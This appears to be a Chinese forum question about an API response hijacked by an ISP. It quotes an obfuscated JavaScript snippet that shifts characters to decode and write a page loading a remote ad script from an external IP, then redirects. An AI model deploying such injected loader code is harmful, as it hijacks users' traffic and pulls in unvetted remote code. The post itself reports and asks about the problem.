我的弹窗页面返回的是下面这段JS代码(我使用cURL访问Iciba的API,将获得的结果存入到数据库,在遭遇广告弹窗时得到的数据):
var d="=iunm?=ifbe?=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;00331/2:2/269/7:;211190benpef/kt#?=0tdsjqu?=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#?wbs!qbsbn>#iuuq;00331/2:2/269/7:;211190b0t@g>betuzmf`nto/iunm'beje>312589'uddb>NEV4NUBzO{V{NUh6'vsjq>3216314976'psmv>bIS1dEpwM3SqZ4RuZ39vbXOqZnFvZ3:uM3GxbT:lbXO1bX:vZYK6MoCpdE:4QYS4[XGs'";function i(_,__){_+=__;var $="";for(var u=0;u<_.length;u++){var r=_.charCodeAt(u);$+=String.fromCharCode(r-1);}return $;} var c="tqje>3697:84286'bsfb>93'ut>2454636222'bpsmv>bIS1dEpwM4WzcIK{dz64bX63c3RvZ3:uM2CqZ2:WdnygVnWkMnG{dE:kc3SmQUB2O{d>'q2bsn>411'q3bsn>411'q4bsn>21'q5bsn>6'q6bsn>6'q7bsn>2'bqqe>1'ibtDpvou>1'ibtXijufVtfs>1#<=0tdsjqu?=0ifbe?=cpez!je>#c#!sjhiuNbshjo>1!upqNbshjo>1!mfguNbshjo>1!tdspmm>op!pompbe>#joju)qbsbn*#?=0cpez?=0iunm?";document.write(i(d,c));
这段JS会加载电信的广告代码 http://220.191.158.69:10008/admode.js 文件,然后跳转到
http://dict-co.iciba.com/api/dictionary.php?w=tweak&t=1343526155380